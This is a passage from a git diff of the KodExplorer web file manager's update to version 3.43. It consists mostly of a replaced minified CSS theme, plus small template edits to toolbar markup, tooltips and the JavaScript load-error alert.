endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);margin-left:15px;padding:6px 10px;border-radius:2px;height:auto;color:#333;border:solid 1px #999;text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);-webkit-transition:box-shadow linear .2s;-moz-transition:box-shadow linear .2s;-o-transition:box-shadow linear .2s;-ms-transition:box-shadow linear .2s;transition:box-shadow linear .2s;}body .aui_buttons button:focus{outline:none 0;border-color:#426DC9;box-shadow:0 0 8px rgba(66,109,201,0.9);}body .aui_buttons button:hover{color:#000;border-color:#666;border-color:#426DC9;}body .aui_buttons button:active{border-color:#666;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background:#fff;background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);}body .aui_buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui_buttons button.aui_state_highlight{color:#FFF;border:solid 1px #1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background:#2288cc;background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);text-shadow:-1px -1px 1px #1c6a9e;}body .aui_buttons button.aui_state_highlight:hover{color:#FFF;border-color:#0F3A56;background:#2288cc;}body .aui_buttons button.aui_state_highlight:active{border-color:#1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background:#2288cc;background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);}body .check_version_dialog.dialog-simple .aui_titleBar{margin-top:-155px;}body .do_search .search_result{margin:15px;}body #selContainer{border:1px solid #004c99;background-color:#39f;}body .frame-main .bottom_box{border-color:#e6e6e6;}body .frame-main .frame-left{background:#fff;border-color:#e6e6e6;}body .frame-main .frame-left .ztree li a{border:1px solid #fafafa;border-color:transparent;margin:0px 4px 0 4px;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;padding:0px;padding-left:9px;vertical-align:top;}body .frame-main .frame-left .ztree li a:hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);box-shadow:0 0 1px #3377ff;}body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_close:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_close:after{color:#39f !important;}body .frame-main .frame-left .ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #1aa1ff inset !important;}body .frame-main .frame-left .ztree li a input.rename{margin-top:0px;height:22px;}body .file_select{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file_hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body div.fileContiner .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body div.fileContiner .file.hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu,body .topbar .content .top_right ul{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.2);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.2);box-shadow:2px 3px 2px rgba(0,0,0,0.2);border:1px solid #ccc;border-radius:0;padding:3px;background:#f8f8f8;}body .dropdown-menu .this a,body .dropdown-menu a.this,body .topbar .content .top_right ul .this a,body .topbar .content .top_right ul a.this{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu li > a,body .topbar .content .top_right ul li > a{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;margin:0 2px;border:1px solid transparent;}body .dropdown-menu li > a:hover,body .dropdown-menu li > a:focus,body .topbar .content .top_right ul li > a:hover,body .topbar .content .top_right ul li > a:focus{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body .frame-main .frame-right .frame-right-main .drop-menu-action a{padding:3px 30px;}body .context-menu-list{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.3);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.3);box-shadow:2px 3px 2px rgba(0,0,0,0.3);border:1px solid #aaa;border-radius:0;padding:3px;background:#f1f1f1 url("./../../images/common/line.png") 28px 0 repeat-y;}body .context-menu-list .context-menu-item{padding:0px 15px 0 5px;border:1px solid #f8f8f8;border-color:transparent;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;}body .context-menu-list .context-menu-item .font-icon{width:30px;}body .context-menu-list .context-menu-item.context-menu-separator{height:2px;background:url("./../../images/common/line_x.png") 27px no-repeat;margin:2px 0 2px;border-bottom:none;}body .context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#444;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;color:#666;border-color:rgba(51,153,255,0.7);}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#666;}body .context-menu-list .context-menu-item.hover span > b,body .context-menu-list .context-menu-item.selected.hover span > b{color:#aaa;}body .context-menu-list .context-menu-item .selected,body .context-menu-list .context-menu-item .selected.hover{border-left:1px solid #b3d9ff;} -/* ver 3.42(2017-04-07) [build 1491589356.8798] */ \ No newline at end of file +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.7343] */ +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .topbar{background:url("./../../images/common/login.png") repeat-x 0px -44px;box-shadow:0 0 10px rgba(0,0,0,0.2);}body .topbar .content a.topbar_menu{border-color:#4499dd;border-color:rgba(255,255,255,0.1);}body .topbar .content a.topbar_menu.this,body .topbar .content a.topbar_menu:hover{background:#49d;background:rgba(255,255,255,0.4);border-color:rgba(255,255,255,0.1);}body .aui_border{background:url("./../../images/common/dialog/dialog.png") -200px 350px;}body .aui_state_focus .aui_title,body .aui_title{background:none;color:#444;text-shadow:0px 0px 0px #000, 0px 0px 1px #aaa, 0px 0px 4px #fff, 0px 0px 8px #fff;}body .aui_outer,body .aui_state_focus .aui_outer{border-radius:5px;text-align:left;background:url("./../../images/common/dialog/dialog.png") -100px 100px;border:1px solid #bbb;border-color:rgba(255,255,255,0.7);position:relative;box-shadow:0 0 8px rgba(0,0,0,0.5), 0 0 1px rgba(0,0,0,0.9);-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;}body .aui_state_lock .aui_outer,body .aui_state_lock .aui_state_focus .aui_outer{border:1px solid #bbb;border-color:rgba(0,0,0,0.1);}body .aui_inner{border:1px solid #ddd;background:#fff;border-color:rgba(0,0,0,0.3);}body .aui_dialog{border-radius:2px;}body .aui_border{border-radius:4px;}body .aui_nw,body .aui_ne{width:4px;height:32px;}body .aui_sw,body .aui_se{width:4px;height:4px;}body .aui_nw,body .aui_n,body .aui_ne,body .aui_w,body .aui_e,body .aui_sw,body .aui_s,body .aui_se{background:#999 \9 !important;background:#fff;opacity:0.15;filter:alpha(opacity=15);}body .aui_titleBar{width:100%;height:0;position:relative;bottom:33px;_bottom:0;_margin-top:-33px;}body .aui_min,body .aui_min:hover,body .aui_min:active{right:81px;width:27px;background:url("./../../images/common/dialog/btn-min.png") no-repeat;}body .aui_max,body .aui_max:hover,body .aui_max:active{right:54px;width:27px;background:url("./../../images/common/dialog/btn-max.png") no-repeat;}body .aui_close,body .aui_close:hover,body .aui_close:active{right:5px;width:49px;background:url("./../../images/common/dialog/btn-close.png") no-repeat;}body .aui_max,body .aui_min,body .aui_close{position:absolute;text-decoration:none;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:transparent;font-size:0px;cursor:pointer;z-index:10;top:-1px;height:19px;background-position:0 -19px;background-color:none;}body .aui_max:hover,body .aui_min:hover,body .aui_close:hover{background-position:0 -38px;}body .aui_max:active,body .aui_min:active,body .aui_close:active{background-position:0 0px;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{display:none;}body div.dialog-simple .aui_max,body div.dialog-simple .aui_min,body div.dialog-simple .aui_close{background-image:none;}body .dialogMax .aui_nw,body .dialogMax .aui_ne,body .dialogMax .aui_sw,body .dialogMax .aui_se,body .dialogMax .aui_w,body .dialogMax .aui_e{width:0px;}body .dialogMax .aui_sw,body .dialogMax .aui_n,body .dialogMax .aui_se{height:0px;}body .dialogMax .aui_outer{border:none;}body .dialogMax .aui_max{background:url("./../../images/common/dialog/btn-reg.png") 0 -19px;}body .dialogMax .aui_max:hover{background-position:0 -38px;}body .dialogMax .aui_max:active{background-position:0 0px;}body .aui_buttons{padding:8px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui_buttons button{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);margin-left:15px;padding:6px 10px;border-radius:2px;height:auto;color:#333;border:solid 1px #999;text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);-webkit-transition:box-shadow linear .2s;-moz-transition:box-shadow linear .2s;-o-transition:box-shadow linear .2s;-ms-transition:box-shadow linear .2s;transition:box-shadow linear .2s;}body .aui_buttons button:focus{outline:none 0;border-color:#426DC9;box-shadow:0 0 8px rgba(66,109,201,0.9);}body .aui_buttons button:hover{color:#000;border-color:#666;border-color:#426DC9;}body .aui_buttons button:active{border-color:#666;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background:#fff;background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);}body .aui_buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui_buttons button.aui_state_highlight{color:#FFF;border:solid 1px #1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background:#2288cc;background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);text-shadow:-1px -1px 1px #1c6a9e;}body .aui_buttons button.aui_state_highlight:hover{color:#FFF;border-color:#0F3A56;background:#2288cc;}body .aui_buttons button.aui_state_highlight:active{border-color:#1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background:#2288cc;background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);}body .check_version_dialog.dialog-simple .aui_titleBar{margin-top:-155px;}body .do_search .search_result{margin:15px;}body #selContainer{border:1px solid #004c99;background-color:#39f;}body .frame-main .bottom_box{border-color:#e6e6e6;}body .frame-main .frame-left{background:#fff;border-color:#e6e6e6;}body .frame-main .frame-left .ztree li a{border:1px solid #fafafa;border-color:transparent;margin:0px 4px 0 4px;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;padding:0px;padding-left:9px;vertical-align:top;}body .frame-main .frame-left .ztree li a:hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);box-shadow:0 0 1px #3377ff;}body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_close:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_close:after{color:#39f !important;}body .frame-main .frame-left .ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #1aa1ff inset !important;}body .frame-main .frame-left .ztree li a input.rename{margin-top:0px;height:22px;}body .file_select{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file_hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body div.fileContiner .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body div.fileContiner .file.hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu,body .topbar .content .top_right ul{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.2);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.2);box-shadow:2px 3px 2px rgba(0,0,0,0.2);border:1px solid #ccc;border-radius:0;padding:3px;background:#f8f8f8;}body .dropdown-menu .this a,body .dropdown-menu a.this,body .topbar .content .top_right ul .this a,body .topbar .content .top_right ul a.this{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu li > a,body .topbar .content .top_right ul li > a{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;margin:0 2px;border:1px solid transparent;}body .dropdown-menu li > a:hover,body .dropdown-menu li > a:focus,body .topbar .content .top_right ul li > a:hover,body .topbar .content .top_right ul li > a:focus{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;}body .frame-main .frame-right .frame-right-main .drop-menu-action a{padding:3px 30px;}body .context-menu-list{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.3);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.3);box-shadow:2px 3px 2px rgba(0,0,0,0.3);border:1px solid #aaa;border-radius:0;padding:3px;background:#f1f1f1 url("./../../images/common/line.png") 28px 0 repeat-y;}body .context-menu-list .context-menu-item{padding:0px 15px 0 5px;border:1px solid #f8f8f8;border-color:transparent;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;}body .context-menu-list .context-menu-item .font-icon{width:30px;}body .context-menu-list .context-menu-item.context-menu-separator{height:2px;background:url("./../../images/common/line_x.png") 27px no-repeat;margin:2px 0 2px;border-bottom:none;}body .context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#444;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{border:1px solid #b3d9ff;color:#444;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background:#e6eeff;background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);border-radius:3px;color:#666;border-color:rgba(51,153,255,0.7);}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#666;}body .context-menu-list .context-menu-item.hover span > b,body .context-menu-list .context-menu-item.selected.hover span > b{color:#aaa;}body .context-menu-list .context-menu-item .selected,body .context-menu-list .context-menu-item .selected.hover{border-left:1px solid #b3d9ff;} +/* ver 3.43(2017-04-12) [build 1491999049.7343] */ \ No newline at end of file diff --git a/template/explorer/content.php b/template/explorer/content.php index 742d81f..6269503 100755 --- a/template/explorer/content.php +++ b/template/explorer/content.php @@ -42,7 +42,11 @@ <button class="btn btn-default btn-right-radius" id='goto_father' title='<?php echo $L['go_up'];?>' type="button"> <i class="font-icon icon-circle-arrow-up"></i> </button> - <div class="path_tips" title="<?php echo $L['only_read_desc'];?>" title-timeout="0"><i class="icon-warning-sign"></i><span></span></div> + <div class="path_tips" title="<?php echo $L['only_read_desc'];?>" title-timeout="0"> + <i class="icon-warning-sign"></i><span></span> + </div> + + <div class="role_label_box"></div> </div><!-- /header-middle end--> <div class='header-right'> <input type="text" name="seach" class="btn-left-radius"/> @@ -105,7 +109,7 @@ </div> <div class="group_space_use fl-left hidden"></div> <div class="admin_real_path hidden fl-left ml-10"> - <button type="button" class="btn btn-default btn-sm dlg_goto_path"> + <button type="button" class="btn btn-default btn-sm dlg_goto_path" title="<?php echo $L['open_the_path'];?>"> <i class="font-icon icon-folder-open"></i> </button> </div> diff --git a/template/explorer/index_wap.php b/template/explorer/index_wap.php index 55d227a..9417026 100755 --- a/template/explorer/index_wap.php +++ b/template/explorer/index_wap.php @@ -37,7 +37,6 @@ <i class="font-icon icon-folder-close-alt"></i><?php echo $L['newfolder'];?></a></li> <li data-action="newfile"><a href="javascript:void();"> <i class="font-icon icon-file-text"></i><?php echo $L['newfile'];?></a></li> - <li data-action="past"><a href="javascript:void();"> <li data-action="past"><a href="javascript:void();"> <i class="font-icon icon-paste"></i><?php echo $L['past'];?></a></li> <li data-action="search"><a href="javascript:void();"> diff --git a/template/user/install.html b/template/user/install.html index 5d687d3..c47df65 100755 --- a/template/user/install.html +++ b/template/user/install.html @@ -76,7 +76,7 @@ if( typeof(seajs) == 'undefined' || typeof(LNG) == 'undefined' ){ - alert('[js load error!]js文件不完整,\n请检查文件是否被修改(或咨询主机商压缩js导致文件损坏);'); + alert('js文件不完整,请查看浏览器控制台和服务器配置是否正常。或检查文件是否被修改(或咨询主机商压缩js导致文件损坏);[js load error!]'); } },1000); seajs.config({ diff --git a/template/user/login.html b/template/user/login.html index 92d320f..aed6b32 100755 --- a/template/user/login.html +++ b/template/user/login.html @@ -96,7 +96,7 @@ if( typeof(seajs) == 'undefined' || typeof(LNG) == 'undefined' ){ - alert('[js load error!]js文件不完整,\n请检查文件是否被修改(或咨询主机商压缩js导致文件损坏);'); + 